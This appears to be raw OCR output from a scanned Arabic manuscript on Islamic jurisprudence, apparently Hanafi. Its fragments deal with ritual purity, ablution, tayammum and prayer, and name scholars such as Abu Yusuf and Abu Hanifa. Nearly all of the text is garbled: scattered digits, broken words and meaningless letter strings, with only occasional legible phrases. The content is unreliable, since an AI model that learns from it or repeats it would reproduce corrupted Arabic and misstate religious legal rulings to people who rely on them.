1 1 اد وكعن
7 د
ا ّّ
لومي رةه 0
“در 1
7 دق 0-0
2 آ# 7 سه 22
الصّلا عاد اينما فعّدا مم
و مه 0 0
0 لق
ددر
ْ سه ا 5 2 فَمَدَهَكَم] لد
|الدين ومن رس
| دين “تمزرى تشجلى 0 00
8 3 2 9 55 2 ١
| 2 ا 0 0 رو ماده
ددا لكي سه ا اجْماء) امنا
| فو ا 0 اي ري لدو
هه
نَأ
ل
3 7 0 2 1
افإن! مه فِدَاجمم من ون رسو لاه لله
ان و نه 0 00 ا
ا 0 اق 0
ا( 0 0 2 ذه سد ا
ووه َال َس
0 اكوم
بكر من عبر حكبياد بانع
0 ٌ
ار
١ و
2 اك
دَكَاتَد إكلجماءاً عا وا جماع الم
3
وار س2 2
عله
ابي ردي دعاجات|
سائْملَ
دن اجباروارد
2 5-6 وارددن
9 1 زد
8 0 13
عبد
اما الشايط فده الطهارة مِنًا محدث|
2181 يع الى اوور سد 0 ْ
١ 0
ساس عار 1 س7 0 ود 1
: 00
حر ١ سرون لد يرين,
كسيب لا روا ااه 0 /
#طوو يي “ود ليلد|
7 ور ا 2-01
من رت فالاحْتَوا صو عند وجوبالاء
00 2 و ل دوي ا
0 ل ال م ]0
افالؤررة عله وعند عَدَصِهِما مم
ا اي وم هر 2
24
7 الع
ا وو ب 3 م ا
لوك رمم 5 انيسن وادربومناي
سارح ليلدو رجور وي بز م
تت
ا 2 2
0 ما فضا لوصو 0
ا ا
ا 0 0 2ص ساص ره
ا كين سرك إلالضلاة ايلا
3
ال
رامزم 0
8 2
جك ايرب أ في واف 211
ْ الما لكين ارد ناكما يرخَلان وض 0
ْ و ١ امن
15 وَكدَاما سين" 9
تاي
5 : دض
ا در
08 ب 0 د سرك ل م ١
سوال و سيالا هدارا لنَاصية
لس ببيى وسفسس )سب اوجسدو و مره
ل ْ
و باكر ر ار دو اراك لاسرا
أ وهوديع لاسن لمأ وى المزيرة ابراشعبة رول
200 م هسه
ال و 0
0 2« 00
ا ل را 00
ا
م 71 0
ل يدبن فبلاد لما إناءر
| ستزى ل
يا 4 2
السلا يتنك لوسبوعية
2 5
الوه ا 0
ا 7 0 7 7 ا
ا 10 تانر 6 53
ا و ل در ست
ري رده د دع سو 1
-22
اي
ىُْ
ا را رسف بد 1 0
يكن معنة إناء ا
4 د مح بان ع 1 3
تر
1 رسن
ره رم ا رس لد ا
كي تعلخ ايك بر
ظ ّ 5 در ١
ا 2 2-0 ُ 5 2
الع يليا ك2 قبي
00 1 7 90 ل 0 0 2 ,
ا 40 حار ا 0 ص مسجم 4 ترآ
أعداان] ل باعل بووجاس هكداركة جردا
| 22 ريعي لدوم م 7 0 0 ا
ا 0 دونه 00 30000 لاى/
اراد ا
000
سه وتات يلكا ادم
لخ اسيم اكقاقة ا
10 1.0 00
3
5
3
ُ
5
راحب
١ع 5
0
ا
0
)1 85
جع ادن
ععيا م * 5 0
“©
5
3
ا مس0 2 موس 2 ا
ا كر
ظ ا 5
موترين 1
مهامس ٍ) 26 سرس سس بس 6 57 59
١ يدمو 01 . 0
١ 2012 9 ا
كدو لد 0 0
3
2
1 2 تر 6 “0
7
كيك
2 2
رم د در 0
50 ذىف ١
1
للش عي لجاز الى
ا
١
0
طأورن سواط واموى ]يار سيدأ
ا
ا عالت
| دق سن #خرى م 0 4 من #تمرى ٠
ف وس ب 2 7 ه58
1 َّ ا
0 ار ١
0
بظهويا َضَاِمالكٍ
0
2 6
ا له 1 00 سس
مع دير ةك مواد كزع
اا 22 د “للح
لَك والموا لات واماداي
د
يما 3 9 0 ادن
كك ردول الود
0
ين 3 : 0 0
دجون 0313 0 ص
الممدينا لاوا
7
11 ب لبد و ان
0 5 ره 2
[ اناما لالم
0
20
7
0
6
جه آما!
: يها 3
ار ار 0 71
ا ا 1
مم
- 22 0 2 06
ا 0
1
سَفدرا
0 0
موا يتا
ين
دج 5
82
د
1 7 وميا
عسي
ا
لايل اندر
دود
مر اي
ص ته بر مر 0
كن قدد الزنم
رو
1-1 0 0 تزه لبر ]ل
أجب وان ذا اد على قديا أن رش تعس زه عرض
5 0 0 0 ار
0 8 ار 3 ٍض 2 ا
1 5 0 م7 داه نار أل
وال فسا يه رود دميو
59 0 2 اا 0
ل
ل را 0
ات 0 ع و
ود اسل عسَليدء بلا لاستواء وتان موا 3
0
ل ابواولازهبورر |
ار داك م ا
ظ
ا
كدودر اسشتيزارى اران سلر ادا م
١ در
اتاد ولا يواد
ؤ ا 0
كلجا بهار نيا |
أ
0 رار اه 0 وار جين
عدا مل ييا لايهاء ل كن مهما |
بنلنه ما 3
دحو جع 0
”غ2
ا
سررك افر
0
0
2 . 1 0
م 2ه رسو ا ل ار مر
فلمب :معد جرفه بجونة بد هيك
0 ا رن 1 76 ال كور
د
0
لطر ار اصس د ا ا 200
طب 1و
| الصرى سجوووي اصن سركة
0 ا 0 رس م2 يد
00 ْ
كا 0م ار وس لد رسا سه ]|
١الاسميراء با لكجان دصحو ييه اشع
0 ا عبر 0 دي وود
ع سحام رن )سيوم
“م موري 0 دزو
1
ا
أ
ابص 2-0
عزرغس!؛
2 ف
4
و سر
كدر سر ور
د 100 د ل
ا 00
م “ديق
211
امماجاء! َالكتايكا ل بمصمصو مع
3
0 ا
00
ا لد اا
ا
إماء ديل وان ستاك
0
0 5 لدي
0 0 00
الإ و
م لدم 8
حو لضياين” ا عليه
3 ا
0 لشو جد
لومم إسرصية 72
عضو وبرعوا
لانطاري. 5 ور ا
0 أ
لي ا
07
ا
سه ورم نه 0
عاك ميو باذ كلد وا عَِدِمِيْهُما
ا 0
ادج
وال
ً
ا
0
7
0 [ ً
توك
ا 0
ص
8
ظ 3 30
اطي وس
وي
الي جر 2
7
ا جم 3 7
0
١ 6 اي و
53
0 سويد
مَقاليِنيتَانَ 0
و شاور
ال
رم ره
20 0
ا دخ” 2 3 '
ا 00 مخو ويه
م 3 سس 1
ل
حك ورك فر ف تررس رسن
دض رده كذ 4 ظ
ا 00 107 ور واو اك #ذدى |
52
ا 100 5 َل مسأ 5
0
لسك هنمتا
5520 000
11111
17 ره 0
حدر 00 يرم
0
َعَدَانَ ه609 سي عارك
قَا يوان لامسرم
ارو 0 در 0
كل
را
2 2 ص
ل عمج
ذأ
ل
5
ف
افك 0 ال 0 د
1
7 0
يو بعدَ فاك مك ان 0
كذ ضَ ان ا
ب سا ْ
ون امد مدل
| ا شور 0 :
0 و 2 ب
1
ل 2 و 7ه 0
9 2 ا 77
حوفلف 2 0
الى شر
- 000 0 ا
و سس سد سدح 1 5 58
1 لكا ا
را اك سهدت عب يك ورسولك
21 ار 4 9206 نجه
الست ار
ْ 0
ا
أ وح 7 2 ا ا 2 3 ر
ااانا الغرةا ن بعر سودة ر 3 امي ١
١ 5
ظ ا و ” |
ا
ا ا ١
ا
ا
الئدرمةا وان َم وان سرب ١
افَصلْوْصْوة و دان يبا :مول |
3 شرن 00
د 0 ا 0 ١
0
اعد 0
سي
ووه وه
درم 0
لناووعوان
ىر
00-0
7
مي
3 سرون ادي أن دمزم
20 سا7 50
ها درم وان لص
ا
9 000 نوو
امياد
رز فقيل ٠ اسريي"
1
5 3
5د
دصي "ري
رمات
ل 00
مستص ل لوقت
لا
ته
1 6
عونم عزدا حو
ا
0
5 3
0
5
957
ححصم 2727
بكوَ يلار ولابكينسْعود وال ْ
اه . م
ار امور ب لالي اع ان
ا
اا
| ١
ا |
ا 2 ا ا
أ
اس لاسا دراوم 000
ل عر اد 0
ا ل أذ 017 1
١ لوطب لوو يوسي اما لعو هوي
١ ل لي ري ل 0
هه 2-0 50
الا عارةا برك نسو
ذى جتني
| دز "له سبي عو
1
ا ]|
تارمو
كلد ا رزقرة اتسنا
أ سم رسا أ
بع
ا ا 0 : ب
حموص يئار ا |
0 0 - م 006 ا 0 5
از
7 7 0 1
وأن سواه اام 08 0 ص
ا دبي م “يبي 2 ا
١ > ا ا رام 1 مس ١ سما
اق حضو ارود لاجلا بعلئالدواتدا
[ 1 سس 3 دير ١
2 2 م
بعل لبون لابيزف 53 امي
لقم مض 0 ل قر دير و ور ْ
” ره 02 ْ
0 ْ
3 3 ا
م الاسييرايوان لَمِرِيَ ا
رجه ؤس ودار ب
يم
3
3 2
1 500
امهنا 1
زر وام ا ذا ديم 5
7 أذ سل أ
ا ِ 2 ا اام ١
يضما عه مَأ شد يداح لوق
5 2
2 د دون : الاو 7 1 دور بكرا
7 1
أرءه م 0 سس 2 0 ل 0
عط سْفتواوعاجفِره لعه ا وصوم ه |
5 ادي ١ ابلق
0 1 /ده م ا
ةا ١ ل مر 0
وهداطبارة مدي اا د ا
١ ل هن ا ا ددم
/ ا 0 ِ 00 ا
ا انمومه
سد ارط في د
موثو ملف
ص
27 21 ا
1 ببسام و يي و0 دور
يدهو 22
2 1
ا دو وار 1 ل
| 7 و 0 د 0 3 0 0 ا 1
ام 0 :
0 0 1 0 59 0
91 لا كما سن مرَ يلات اذ
0
0 0 0 “دا وى
0
أ 7 سه برو ث6 0 ار رص
ا انار ا نَل أو لينل وج دسا !
ا 0 ك4 ور 000 0 0
1 72 م صا ع سه
لاجس
“كموي 0 ل و عدو بر
ا
ا همَنَإسْفط فرعا رزه أوخرن له
ْ عر ستوي حدر ل اورزى, بي
_-
أردم م
ا م
7 2 7 و3 1 م 000 اي
مَاكر يل يدانت ضكما دوسا -
520 ور ره رأ
لوا داك عباسلا
ا
ا
از لامع ل وني ا 0
لحي 0 اولم ينل 0 7 سس
ا لت ووو 0 0 0 00
22 29س ور رس 7 5 7
يك د : مكاونك |
انناوئن |
هد --- 2
م 0 2 1000 00
ليها 00 الريك ايلام |
0200116 7 م
اي “ا 0 ْ
2
وو م س0 7
000000
ادر 5-7
لسر لخاد ود
جك اونيطل مي
١
0
ما 0 ا
0 0 در ولك 4 0 0
و 0
2 520
0 0 5 2 اد لالقدر ْ
م الى ذكرناؤعرم محوب ١
2
5 ضر 0 الخسل دما اذاكا تالكر ١١
هدانانا 0 0 50 مصطط ]ا متنا كن لو ١
ب
9 1 م 0 وك لباو
د رس يرس سس سس و رس 1 >
06 هاعر 1 ِ 00
ا اسم ويا كدج 8 0 1 صسوع |
ا
مقن اط برقال را
“ازور توي 0 8 0 يا
ْ 0
الواح هين مسَكَلد بككار وفوعم ا
0
ور ا ا 4
ا 5
0 0
هلاسا ءاولو 0 و رق ْ
و
د 00
م م در 2
2 0 ١ - ١
| مو ده 2 سس روم
بوهم ليد
/
||
أ
| لذن تي ار -5 ور او
ليت د 2 ررك 5 0 0 0
وقالكر قر دك
لت 0 ذالاء اي
5706 6 0 0 سورع تاورَى
ولاق وم الع
اء لامو أ
500 5
0 وان مونلاو
| ا 90 للدي ير 26 الى |
2 سر سد سك
0 م
ماسو تيا عدَاحْحيِصَه ومحديا
0 جر مضل ل
وَلُوا اعد 5-4 0
101ظ2 ا له
داس سل ب 2
كران دسي
5-3
ا وج لوسر
0 اميك 5 2 18 5
ل ل 06 0 2 3 درت
1 0 0ن : 7 ا 0 ٠
2 8
/ د ل
اوسرامي عا شمر واسِومامًا 1
لصيو ا “اتوي ل 0 كين درا
كم ياد مؤت
ره دو ا 0 00000
رم 207 ل ا
ا ف دس ار 0
للضم لكان نايس ين ليجل |
فى لير لالض ل ار الا
ٍْ “مر 8 5
2 لاصفنا ل وقال حضيم|
2 "برع “لق عون برضاو
آ آ د ده ره
[ 0 داكن 56
(نبى 2 د اريس د 0
وق
عدر ا م
وك ين السلا متييسة
5
ا 0
ات وي وين
و سوه
أ ان وغ
0 يكن بالإجماع ه وكا
- اديوه ا
صَناء اد
2 0 2 د :1 0
0 0 نك 0 ِ
سيامن
“شور ع بو كار م
7 م هل 2 006 5
ا لحانك لحل لسار
ار م 44
ع ده ل سد لكك م ده ل
[ذقاجس عسإمويدوع ا ان"
يي ا
ءو_0
هر 0
هاحب يحب يصالا لماذا. اميا
الج لو د 0
رواسا سس ساس
200
م 2
ساسا لا0اء! كاه اذه :
ع 0
0 0 ا براه
ددرو 9 مز اغوي 00
1 تن و 00 اس 5
ددر
اوه
0
770707
2
أههلَتكلتُ ذاس لاا ب ليلا
5 ا 1 ادمع يط م الى
دير ثئ
يت جاص لان ا و ظ
ا “موري درق 607
ا لم مس م س9 از -
[ اصة غسلت كان تينظ
٠ 0 0 0
2 50 0 وض حر
2000100
ع 0 00
ا 5 0 ع ١ أت رس سد ص جر
0 كك دعسل وار رد
ا 4 200 ! ا شد ار
2 7 1 07
السام ار ةا ل 2 يذه
0 الجند “ترلن” كر “بر ا
ا و 2 00
انرق م(
١ 5 2 ار
5 مز 352
الل 0 07
َس نمام جاده وَقَالُجصم مالك
ْ ريرق - 0 عرزو ير
ا 0
1 ا
10
5 7 -
رس سه سا د 2 ا
م م 10 موسرل .
0 سر ا*قزم 00
ا و ع 2
و و 0 ةرام سب
َلهأ لوضوة وآنلريظيره رت 3
كال
0
ع رد
2سا مر
كر 2 2 1 كاه َال
00 ريد دو ا نل وي
عي
0 اك
اأوخيز #مصوع
و ْ ل
2 7
0 10
اس ا 200 2 0
يوا ليا ددني ١
ارت
- 2
2
01 و2 5
| الضرودة
امعو ا
١ لاوزو
00 ددون
0 ار
0
ْ ددا
| * الى
5
لكان ى
هون 6
ع ضية دا إبسبالاناء
سروس انكل عليه 221 ا |
ليل مام والضبال ءا لوس ميد |
10 0 ده 2 ا
و 0000 اوقد
0 0 الدؤرمن رو
ان لدابت مر واو ورور يب
كان يصون وك
و 0
0 1 اير ا 0
حر 0 ١
0 هبد كاماد
0 22 دل 0 لد
در ْم لاضن دا
ده 9
ديق 0 ات ندرا
سح 0 ع
1
ا 0 “موق مسي ان
عر
8 در . يك 1
0 0 سن 0
2
07
تاوس 0
0
خلس 0000
كاير كاسة مسق
وي د ا
ل سا تيد و جام ا واو 7
ا كا اسه ]|
00 0 00
ا 2 رسيت ل 0
اباس عر مومس
ا ١ ادن 3 2 ي ير اود لائززوا
| سترى
ا وه مرصهة 7 17 7
ال 0 بلا ينبني دع اكاك 0
رن ا الزن 0 3 “دسو
00
مام المسلاةا”
00 0-0 5 ظ
0 0 20
ب 000 41 رس ماده ا
وما عله إلإنس لأ
١
الات 0 0 0
ا رع ب ا 0 -ه سه 5 ا
سوسس ذلك ل اكد ْ
ا
0 ةا 1 م 0 4 ١
«عل راي دسا عجن يدن 000 2
ابد ال ات الخدضا| 3 |
ا
0
- و ررس 2 7 مو ١ ١
ظ لان 00 للجياد يني وضرذك
دض 0 دور 0 ا
27
0 0 ا لابين وان انلا 7
0 ير 7خ ا 5 2-1 جيرا
. انك الم 7
0 7
وبا لضس وان يد إل ني ١ ْ
ا در 0 و
اسدره ا
ا 2 سي 1 ا
كاش دوع ابراه أسد أن
كك 0 0 يو ديدي 3 ا
| 2 0 مه روس 7 ١
كلام الدناضل سحب اد 2#
1 د
| 5 .-
انا نيش
ضر دوي تاد
56 4 ىو
ارجا كر و
0
2
0
١
ص بر رأ
الراك سر 7
يصرسصد عد سر 2
دومص واستشتق بحم
م مو مز وار
از 0
سه
ووس 2 0
ابه و دا لاسأ لعدرا 001 00-0
+ 5 0
2 0-0 7 5 سك
يا 0 ا عي
1 7
ده 2 ص 0
ل ا
ا ملف لمرو انيبأ
0 الى “قدو
ا 7 2 جطلدر : “قان
الى سس ار 0 7 1
0 ياي لودى واد بهي
| > “يموصره عم فيو ا
شق صبا
ا اوتامو لديم 2
قدك توخسه سرلد ىا اذرى سفرك
7
0 0
0
5-0
- 8
2 58
عر وها ساف سرهاسه
ا 00 م دَواكم 01 00101111ظ”ظ2ظ2
يان اا
خم د ل لج ع سسا بن كس اع
يجوزا لصلاة هجاوا
تررس . 0 0 00 جحي سويت
00
يء 2 )نون صعد دعوم
همك جما جد
ميم اا
200 28 7 ريم رسلا 2 و
8 ا 0 اسك قمرلا
ات سمو 2 كاد 1 سي ساد
ورا يكنا 6 60
| “و ند 0 الي
سا |
ار
| 1
دايا واد سن سر
ا 00 ا ل
-_-
اجام بيب لايل 50 ل
1 1 3 0 0 در الاو 00 "بكي
ا ا
7
أ 0 اه رد ته
0 1 د وه ألْمَنِجقَا له
ا 0 0
ا ردن ا اي 7 تلارر نادي 7
١
ا
م >2 جر 7 3 7 2
وان مادو 0 وق ماحد عل د يا دعا
رب بده ب دىد بح
عو جا 0 00 ل
2 2 يا 00 7- 0
أوا لاير دعل 6 2
0 دج
1 0 2 0
0 0 2
د 2 ا سر 0
ل 7 0 4 14
وفيل لاير اما فاء 2 ود
5 ١غ
يد د لاق
وو 17 ا ال 0
١ بعكم را سمه |
”7 تدر .وير
ولاو الام لبان أ
الى جا و كين خمومره
ا سل رركا 0 0
ا 0 رن
0 ده وم 2 0
ود ردم“ 2 َ
ا 7 5 | م
| ا ددرن درم فو سورة تلن
جارك ييا سًِ ور 1-0
ددجن سدع ”اك م د 0 ا
1 ي 01 أ
1 6 6 7< 1 000
اك موكيا مرت هذالةد وَالغلاها
ان ١ جار
0 تك ل د
ا :
0 د بير 0 572 0 1
أ
ا
يام 4“ 2
جرختت و «6د رسك سيئر 11
١ 6 26
4 ا 20 5 3 “دمر 8
م 0 ع
057 و5 راو باشلا 1ك ع ولد 1
7 انان كك در وى هكاناهة |
!لحي ان 7 أكقادَفٍ » ؤ
رحا
ع
شت
0-0 2 حت
أو
4 د
ا
َالو 4
-
7
5
3
0
١ 2 7 8 وار
7 0
و ا
3 0
2 ل
22
2 از 8
و 2
رمز
1
ع
2
4
م
وساد
ل
امساران و
2
7
يك
من
سيور
0
يل يه ودج
يد
0 5
ص
0
2
لان
ا
ادو
0 أن ميث
1 د .
ظ 4ج َاحَه 77
07
0
0 0
-ه ادر سدم 27 2
5207 كن 38 ]يدم وق لابجو 0
1 0 0 ل ل ا
مسرا لصي ولول بي وك 20 1
: “مق ان م 0 00
بو جه 0
0
د ربوا اضرو اه
0 ود 52 دور عار يد ار
ام 1 2 سد
يا لك اشرب سجن يليد وقبه
| عون وى ا سجن ار خاو يي
ا 2200 سو رس و وورسدور و22
استصل يربلا سب الوروك كايا ليا
0
ا د د ناو 5
ا “امي 2 ل بد ل در ع
0
١
اس سه وس سر 1 و 2 2
علا صق به دحو ال بن
دعس 00 حص حا 1 عدت 0
)قراح ادليه وَكَذ
0 2 0 210 ري كل
0 0 ا 1 70 |
ا ل ا
7 ار
0
من
0
البرك فر ذالم م بحص وَانحَافَ
جدى. ادي 2 و 0 0
ا ََ كد
ار
2 4 ا
5 آي دراوت
ةج م 0
01 0
26
0
31 7
| إن موي 0 لامي يي ور
ار ا
إؤظام ا إيوابز من إلى يوست بنعصمما مين
1-1 9 و مره سس ل الي عا 5
ا يلوه ناا
را “الدمابى دلزواي. |
ل 0 ف 2 0 ودرا
الا 0 ع
0 وف اس ا
0
5 در
0
ار و لجسا ا
0
ويديرتها نويرة رماش
3 د
2 ا
2
ا زر 1 رن 3
١ م
1
ا
ا ولاه ا
و : 0 وام ليرا
لد د ,بست بيس “صو 0 2
8 :
جره سحت لا تح غ7
0
0 ' جل
00 0 8 تن ور 0
0 وس رس ممه 0 00 ل ا
5 أ
0
ل
ا
ا
ةا
2
310 امور
0-7
ل ف تفرد
2
3 0
5 و6 7 96
عرو 0 اق ”7و الإضرة امسر ١ 2 0
الى
. سم بِصْرِب طريبه احرى
وجهه
2 0 اي رار ددر
ديك اكوم 506 حص
وتونسيه
يي
درط لسر 0 ا ١
اضعْصماد دنسم م بالبسرى والبسري الم
ا الو سدح ار
كباله باصي مشيلا امسو
"
ار “دور زرى ١
ل وجززم
1 16 ص
ْ
52
ل 52
أ فد لل 4 ا
سور 00
م
3 ا قل ماع لير نه :
بيت 13
2000 ين : ناريج
د 1
5 ود وكا 0 3 ل ِ
ا دفي . يك
0 زد لاد
0 ال ل ا لل زه وَصرا
سرد بواجريعق وت الاين ع 0 7
كدر يي ددم 0 ارد
5
5 7
هن لوا 0 اميك تاج
د 5 2 ا
د 6 11 ل يناسن
ْ د 92
لمن
لَص صر ره ا م 34 1 71 22 00
ب على تاك يع عا
ا ا و سانا ا
0 22-6 2 ع اول طق" اللبزدئ
ا 70 دم ررد و3 رو ليور © لاي «# بردو |
١ و و ا
ا درج از ا 2 ا
26 نعط كه
دم 52 ذا 0
دم
71
0
سس 000 70 2
متايه ليدنم المرفعين بم مويرم
لم الجر حه ١ 0 0 حب ود مهي جد عحد مو 0-6
ا اعحسسييية
0 72 دكي 0
١
ا 1
مسن ار “نا مق 0
طَبَالَكهإدإعبعلطوانَمتالكماءً 0
0 ا
ا رو دور
ب 1و م سو
مانا احير 0 ا
1 ال"
0
2 0 جد
ا
ا 2
در ثار
آن مر 0
[ و وكذاسن شرطه ات
١ اويل الى 0
د
اير 3 ف
7
ا د
ا لاد اريماك ليم
| الي ل ا ا
ردكا
0 1
ادا 01 لمان 0 ٍ
1 0 0 0 0
5
دم
ل 2
| سرس تسل ل سه 10
مع سد
دمر 00
رش 5 2 ا ا
تاو رات ُ
1 بويك ماحد
| 5 اي “روم اوور 8
ا اوه
نا م
2 به ا د
قفد 0 تيه تي
اى
ا
اناي الم
7 0 ا
2 00 0 0 م 0
0 2 ا
ب ال عردو يوالم
:د يي عبرلى
اه 2 1 0
0-7 0 2 2
إناغشتزان د أو يمره ع
لا ير رك ار موي 2 د
م م 1 ا
م 06-0
ْدَق عاك
0 0 يي
ا 2 طن
_2 و سد بحس د سس سد 7-2
]او محتوبا ايحن 55
+جكحح ياعور خخ هه
نز الدون يدن بروم
أ فق رق قر 20
موزاءا
ير
0 62 07 باس 10019
ايان 0
5 00 2 2
0
0
5
0
8
ارعرا”
00 2
0
د
ره 0
أ رَوالِرًا 0
و رجة
5-8 0 0
ار سوا ع نيا 220 9
ا 0 “در ل شمر لعل لتو ١
ا د 0
1 امت 0ه . 2
افا موه ع حو يبه دنج
2
أ د رس
0 كر هوا لومت ترسك
بي 000
قد 0 0 ار ل لاه
ا 207007 00 تت هه
وا ل عد حش ا 0 2
7 جر قدو زور لود مذ
اع ذو ا 0
سر س2 سس #
0 لياف
50 - عن
1 0 1
>5 ددره
١ذاو
0 سن و رد وو 2
2 َه ص0 قري هينه وه
جم اشن ١ج لاوم
007 البد اقل “ترون
يدر ور
و مسلا
22 ل 0 0
و اي ولمام)
0 لبود |
6
ا له
سو 4 00 يله
سا ع سسا رض سر سر صر 75 ره
م مر 0
0
2 عسوا مسي غسسال 26
الإعادة يميه اليا ل كن 4 ظ
2 2 در ع اش اقل أ
لد ادس ين 0 3 ا
0 529 2 ا
شن 00 مل جات
0
0 0 ا ا ا
0 ا مما ماع ©9 وان 3 مَالْذِياد
0 ا 0١ ا
كَعلعَالبِ نه أنه يعطيه
0
١ زد ىصوأو رن بوكن
ا تررريرى ماده فيك
أ عاذ أى دد ندددق
دوزدرمن
1 ندرمك
ل نم
0
لماص لالد 57 الما
لمر زر دفر اما ررس مي« ى ماسجا
٠. 00 06 539 ديررس |
ديا
3 2
عار ياد اا كبرو عن احور
/ 0 إمصاء
ا در
ا رن 2
ا “مور ليم 2
ا
|| تكزى
ا نو
د أجرة لازو ارك > 1 11
اوقالد ضعي لمن وعن أ مصرا لضعَانٍ
أ دمي 0 55-08
ا 1 اودر
حر ني ارمق ى
إن 6د تعن دامس
١ 0 انح 0
ا ١
1
أ
1 1
0 2 ب لم 1 “مير
يمون 1 لسن دوه ا ١
22
0 0
مس نيوا 1م712 0 00
0
قْ
ْ وموضع 210 دام
0
د 5 2 ورد رد 07 7 ااا
ا كا الل فد رصص|
: 0 !
0
0 ا 00 بارا
و يس سس تئر 0 016 ا
ولووض هلاحر وسلء
5-6 يي
006
2 0 0
5 الحو كايا اط
4 1 0 ل
100 ير 1 بر
٠ 0
ا را م / 195 324
- 3 90
_- ورحصةه ا
ا د 5 8 2 0 سس سوأ
ص هدنك لاله |
ناكو 0 ١
و اي ب يده 50 3
0
سيد اسحياب ل الخلوقن قن إعَافَا
ا ثلان لد فور 5 00 دض ا
ل و 0 سس سرس مس)سو|
جور 1 0 “دون و ؤرما
١ ل / ع _ 0 ١
١ 1 مه ٍ ا الومن. دآ ْ
3 00 00 تيوذرا|
و ا حي 4 و
١ ا 52 0 1 يا
ب 6
00 معان قلى:
ا 2 24 ا ودا
ا 0 2-0 لدم ا
١ ا
أ سر 2 س2 0 6 ا
اوانْخاف فوت الوو وم ل رالا ماد ا
الك 2 ود سح و0 -_- ادم كد 5 دوي
سرت م سسا سس رص سل 1 ل 0 0 1 سس
١ ا اليد 0 و
اوه لي 4 نا 0 0
ا قر م ري
ل ره نانب وسو 5 ل
0 لشي الاسري, 0
١ م 7< 1 و ا
العريرين 5 006
7 0 سن را
1 ة ثة ا ل يه
2ك اود عدر َبِلئر |
6 د يمر 0 م 9 د
ا 00 م مه 9 لشو وديا |
0
ا 3 2 3
0 02 ا
عذ ذأ حنيقة بسوض بر وعد طلوسعا -
0 1 0 كو ري
ص لح لو لأسي و
“مسالاو 2
وو
0 ويسم 2
و ا 0
/
0 ْ(
امه ا ميرم ار اا 0 ١
| ١
سمو مسرا
يه م 4 2
م ينا لِصَاك ند ده سكو با
000 0 0
9 نيما ا 0 تكزار فر
١ 0
ا ويا 7
د : مسح كبيجن ١ م د 1 كرس مسر ّ ل
م م يه 2 9
ال 3 رداك مر ا أو
ا 7
ا 58 2
ا رام 0 ٍِ 9
0 00 بن سر
| زا نع ند عدم أل لال رسا
ا 0 0 7 در بن رق 7
ا 22 000 اع 0
3 2
2 روصن ١, كََ هج جا و 22
١ التافلة فَأنم صل بدذإِك دلي كنات
اع وق خضري وى ملظ اط سد شونويطا
7 0 ا
الال مر جرد |
ارال د
١ تو 0 ا 38
ا 2
6
دلو
اجر ري عرس را
لاز
5# ور مس روصم ١
ان 1 2
3 2
اين كاك "لدان ان الله فده
ل 10 72 مر 20 20
يور
ركان وضع ينض هورم يام فسية”
اق “اجن 00 لش لات
»من
رما
: تارك 5 54 وَانم
: ا ين 0
جتماذدن خاطلرسه اما 0
توسن قله دوندردامّاوتت فد دن صكره
١ 3 ١ تعاقًً د وندرمن
وس دان ا 4
ور 2 0 الاق أو ستو ١
5
من مت “دعم
“ا 060600
مهد دكاو ومس َال 5
0 ووس وهو 1 يا ا
> وم سك 22 سرد و[ عاس/ ارس
0 و
1 ا 04 0 ا
بن ول د ااي و لك
00
ا د ود 0
000 عن 0 دى بار اس
يدر دنر 0 د 2
ا
ع
3 2 0
3
و 1 , 5 او
اي 0 تون جملى ,لاك ““لاتوضسى
ص« سدس
آذآ م لقره سد ال م 2
أن لجوزع ند أ يوسف وشحب
دابع اا برص 1 سسا
ود : 0 ل ا
وك مكو 5326 حول لوو جنك
| لطبي لين 0 0
111 78 060 [
افده داه س2
50 ادنر ١ جاب
سرد ار ١ 6 6
ا وَامحموستٌ ا لص سل
ا 1 ,”روي 0
ا ددن كش لطر
2 2 7 44
هدع افحيعة ودود قالابويوسن
«ر ناور قوري 0 0 دور
الاين ا
1 لحرو عا رطا
مره
ا
2 1
! 2 ]
ا يا 5
0 لاسكا اماد وهو دي نام وهو و
0
1 8 3
3 م ٍ 0 0 0
ا ده 00 1
ظ الدهدهوف لاما ماع دا كا |
ا ويا نهم وهر 1 0 0 دوزم ا
1 انر ايم |
ار حل #ناد و ل ,
ا 0 0
1 و
هايم سيردا بره أوخدف
التي
لاطفر كام 5
سك الاياءا
١ دو ورادد. ا 0 مدا
ب سس نار
ل 6 سار
ب 0 ا
06
3
||
1
/
لا
١
ان لايد ت
أو
م ميد إناصيل
عد يوست ْ
بض
وي 6 ردروا
و
|
ا
أ
ويروا لمر ا سَبَهَ كا 1
7
0 2 0 2 ِ 51
8 20 0 ىو 0
4 ٠.
سم
جروا ددا 5-06 5 50 2 ْ
2
ا يي
اه
ركلف اسه م[
وبا مله
ات 0-0 0 1
68
7 ار
00 راصنا
ا لو 0 ل و
أكان لصالا ايوم 3 يجوز سارها عند ا
| ادطودمسى الاشيلاوزرنع د د تيو
١ 3 2 بجعا
0 د "«لوررتتون ييا
_- 0 . رو ساسا و ا
2
خاماع نان 3 ١ وا 2ب
عضي قرسا 8 درم ا
١ ف د وريم “لا جامزدر 0 6
ا 4ت 0
ع 2 م زر 8
عضا لاض ا
0 ا
“ددم ري
1
0
كد
د الا فيد ددور
طق و
ر ل يك
وو 7 اونش
0 20 “ل ان 0 “ا
١ 7 ص
أده كد ا ل ات 4
دير ولريع ان يوون جادعند ”
9١ 0 20000 3 3 ود ند مدير
5230 رو كي / 1 م
ار 0 2
كح
20 0
فكعودا
ا
2 سه و سس ا 0
وام لفق بين
20 وما م
3 وئ./ ١
ون 5 0# رت دري #دن وم الى
ا
انه يدنفا يو 6 ا
أ 7 بيو ار ين د ا 1
ررم ررم
2١ 11 7 ا
ربا لاجرقورد رصيق جود مون
0
0 ا د ا
3 _ 0
ا 2
0# وس
0 نارم أ وعيرد
520 ا 24
. در
0 1
جالع ماتيا
د 1 7
ري ا
5
ار «لورسة
ا و 000 7
اعيع توس وحدسا 2 ٍ
“الوم ورم “ارو 0 اليو ريده
21 م دنا 0 ارولو
اسم فد مووي ل ل
باصن وقال تس الام ا لصح نك
ار و 4 0 و 1
١ -
ل رط خررة بسحت ددا 0
عدن لو سفٌ وجد تراب
طن 2 و ا
س0 ا ح “ور |
9 ا
4 اه م
ات 0 كانم نآ اجوز" وَاناكان
الى ليخي روت
0 ا 0
١
ركنا دكن امب ل© ولص
1 1
ا ا
0 وق لو
ني
اسه مسافرا
رار مره 7 وس 7 مره سر
الوبه فشنيه ولميجد نا 2 460
١
امي ارو لعن و
د سم ور سرسوة جر و سرض عفر
وه بإ لطين ونه ور وسحعربيه
0 2 ب
در ايد 5 0 جر لي
20 0 رس فر
ًّ دا مه ْ
55 ا ا 5 ا
“د
م 2 ا م
م1 هي 10م
